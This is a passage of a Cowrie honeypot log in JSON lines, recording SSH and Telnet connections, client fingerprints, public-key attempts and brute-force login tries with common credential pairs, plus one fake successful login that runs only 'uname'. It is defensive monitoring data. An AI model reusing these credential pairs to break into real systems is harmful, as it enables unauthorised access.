0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:34.557548Z","src_ip":"45.153.34.114","session":"390940ec8901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:34.942183Z","src_ip":"45.153.34.114","session":"390940ec8901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:36.065367Z","src_ip":"45.153.34.114","session":"390940ec8901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49816,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6d954ae399e","protocol":"ssh","message":"New connection: 45.153.34.114:49816 (159.203.135.109:22) [session: c6d954ae399e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:42.214370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:42.219344Z","src_ip":"45.153.34.114","session":"c6d954ae399e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:42.306468Z","src_ip":"45.153.34.114","session":"c6d954ae399e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:42.574900Z","src_ip":"45.153.34.114","session":"c6d954ae399e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52570,"dst_ip":"159.203.135.109","dst_port":22,"session":"470ae63110b5","protocol":"ssh","message":"New connection: 103.75.199.4:52570 (159.203.135.109:22) [session: 470ae63110b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:42.707990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:42.712809Z","src_ip":"103.75.199.4","session":"470ae63110b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:42.808571Z","src_ip":"103.75.199.4","session":"470ae63110b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:43.095122Z","src_ip":"103.75.199.4","session":"470ae63110b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:43.691797Z","src_ip":"45.153.34.114","session":"c6d954ae399e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:44.192384Z","src_ip":"103.75.199.4","session":"470ae63110b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40142,"dst_ip":"159.203.135.109","dst_port":22,"session":"769cbdc91a6b","protocol":"ssh","message":"New connection: 45.153.34.114:40142 (159.203.135.109:22) [session: 769cbdc91a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:50.154564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:50.158389Z","src_ip":"45.153.34.114","session":"769cbdc91a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:50.246638Z","src_ip":"45.153.34.114","session":"769cbdc91a6b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:50.528360Z","src_ip":"45.153.34.114","session":"769cbdc91a6b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:50.740943Z","src_ip":"45.153.34.114","session":"769cbdc91a6b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:50.744203Z","src_ip":"45.153.34.114","session":"769cbdc91a6b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:50.833258Z","src_ip":"45.153.34.114","session":"769cbdc91a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:50.838291Z","src_ip":"45.153.34.114","session":"769cbdc91a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40160,"dst_ip":"159.203.135.109","dst_port":22,"session":"f21f904204d6","protocol":"ssh","message":"New connection: 45.153.34.114:40160 (159.203.135.109:22) [session: f21f904204d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:58.335837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:58.340599Z","src_ip":"45.153.34.114","session":"f21f904204d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:58.428127Z","src_ip":"45.153.34.114","session":"f21f904204d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:58.684835Z","src_ip":"45.153.34.114","session":"f21f904204d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:59.783522Z","src_ip":"45.153.34.114","session":"f21f904204d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43326,"dst_ip":"10.17.0.5","dst_port":23,"session":"8387bdec30c1","protocol":"telnet","message":"New connection: 50.6.8.71:43326 (10.17.0.5:23) [session: 8387bdec30c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:03.968692Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58658,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a0c80e97055","protocol":"ssh","message":"New connection: 103.75.199.4:58658 (159.203.135.109:22) [session: 9a0c80e97055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:04.547415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:04.552381Z","src_ip":"103.75.199.4","session":"9a0c80e97055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:04.644013Z","src_ip":"103.75.199.4","session":"9a0c80e97055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:04.918566Z","src_ip":"103.75.199.4","session":"9a0c80e97055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.014686Z","src_ip":"103.75.199.4","session":"9a0c80e97055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.55.185.228","src_port":57086,"dst_ip":"10.17.0.5","dst_port":22,"session":"f94297599ffc","protocol":"ssh","message":"New connection: 45.55.185.228:57086 (10.17.0.5:22) [session: f94297599ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.104214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.108601Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.116092Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:a5:f2:6f:40:fe:92:ae:23:bb:c1:c0:fd:9a:95:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCylEp/isolgVwzU04zkSKMQfhk8++FqnaKgUNUjWdRasIMRle5lPXmwo0n4LAR62hHfC2nISuO84eelzgQTCIIA9AUGSGeXOR3e2tbhisHGeJn3olygeIuShCVuWXqZFVtUU9zBKGbfvk2asppiWYMXkz3gvv4oX4yuaXx1vKcTXl+5L8P6zVPlHTEUGNDHbSMW2I0IgFody5GelH6SEnlVv4KgA0Ud4cNxmzDBGfshRyVEnSh5HErmaBf/lhY3cqP/3dpnJr3nBE//axNRL+fYaE8jjAGyXcalJvaekRm4a3W/YyVI4DcdjU5x7hpE4I/mYIrKfRn7lQN/TT1OObH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:a5:f2:6f:40:fe:92:ae:23:bb:c1:c0:fd:9a:95:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.137656Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:a5:f2:6f:40:fe:92:ae:23:bb:c1:c0:fd:9a:95:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCylEp/isolgVwzU04zkSKMQfhk8++FqnaKgUNUjWdRasIMRle5lPXmwo0n4LAR62hHfC2nISuO84eelzgQTCIIA9AUGSGeXOR3e2tbhisHGeJn3olygeIuShCVuWXqZFVtUU9zBKGbfvk2asppiWYMXkz3gvv4oX4yuaXx1vKcTXl+5L8P6zVPlHTEUGNDHbSMW2I0IgFody5GelH6SEnlVv4KgA0Ud4cNxmzDBGfshRyVEnSh5HErmaBf/lhY3cqP/3dpnJr3nBE//axNRL+fYaE8jjAGyXcalJvaekRm4a3W/YyVI4DcdjU5x7hpE4I/mYIrKfRn7lQN/TT1OObH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.141750Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:5c:e3:64:a6:39:93:aa:a9:c7:99:2d:0f:34:c6:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtxTE7ekXB+gohEItdy5OZMe7UoJNW3+PShNatP2Lv2LcwPCM125PpA4kE3IR2hu+/2jxvMWUuBNHWTU411orsjScAvDW3wjP9COkvsybyhJrC57dg/C8/YvHlTH7RAQYMaf9J+RZ8w1TeGYtEgR4NZXeBHoXIRy/LU/8b6her8m2M+bwoKTZpqnQQ++XnGX3B6hy8l9V6ULTQH08pc5S5XxxoAFRvU8RMQiHtf6pYqnT3BKRZpbAPxcEAWml7l6WzEl8pDOFGmCECBNt2SoMmP5VdB2kiSFRrRNWe8xJgaWGYVPeq4rUt6/m8yKNICxDEBhd1KEMPoN2xNRFiABKMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:5c:e3:64:a6:39:93:aa:a9:c7:99:2d:0f:34:c6:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.148541Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:5c:e3:64:a6:39:93:aa:a9:c7:99:2d:0f:34:c6:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtxTE7ekXB+gohEItdy5OZMe7UoJNW3+PShNatP2Lv2LcwPCM125PpA4kE3IR2hu+/2jxvMWUuBNHWTU411orsjScAvDW3wjP9COkvsybyhJrC57dg/C8/YvHlTH7RAQYMaf9J+RZ8w1TeGYtEgR4NZXeBHoXIRy/LU/8b6her8m2M+bwoKTZpqnQQ++XnGX3B6hy8l9V6ULTQH08pc5S5XxxoAFRvU8RMQiHtf6pYqnT3BKRZpbAPxcEAWml7l6WzEl8pDOFGmCECBNt2SoMmP5VdB2kiSFRrRNWe8xJgaWGYVPeq4rUt6/m8yKNICxDEBhd1KEMPoN2xNRFiABKMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.151212Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:c1:cc:f9:f3:56:80:26:be:b2:27:10:b0:98:08:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRIdjzz5W4buDnVtW5KFDVbJ86hTazzpMYmcWSRMM6ByEGFwDVCGY8DvMre5XbZRZ8RVmT2Z23QbTeZ5tKMy0ipJp7qzz/XcfvU1Jsq5RR0MYwzJLHUqfNwfhWMntyoYiqpvCWg6IU1cRuZen53LbIYDbO414sRijltnpTJuU1yTMgQJSThzbNnqxuS+tvOzcNf/qcgR2qdnClEQ6dhhRV3kEIidrNzPEhtBxJuvNvZglX3/HHBpphlg7VeuyxuHMH2eJ/keTeNm3EFtKMiLu/WiXGDq7fx7gVYjdORBEVSFAnqjXMohPRYip5+oDlU6w+qOM5L/TmuDabonr+r7ct","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:c1:cc:f9:f3:56:80:26:be:b2:27:10:b0:98:08:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:47:06.157173Z","src_ip":"45.55.185.228","session":"f94297599ffc","protocol":"ssh"}
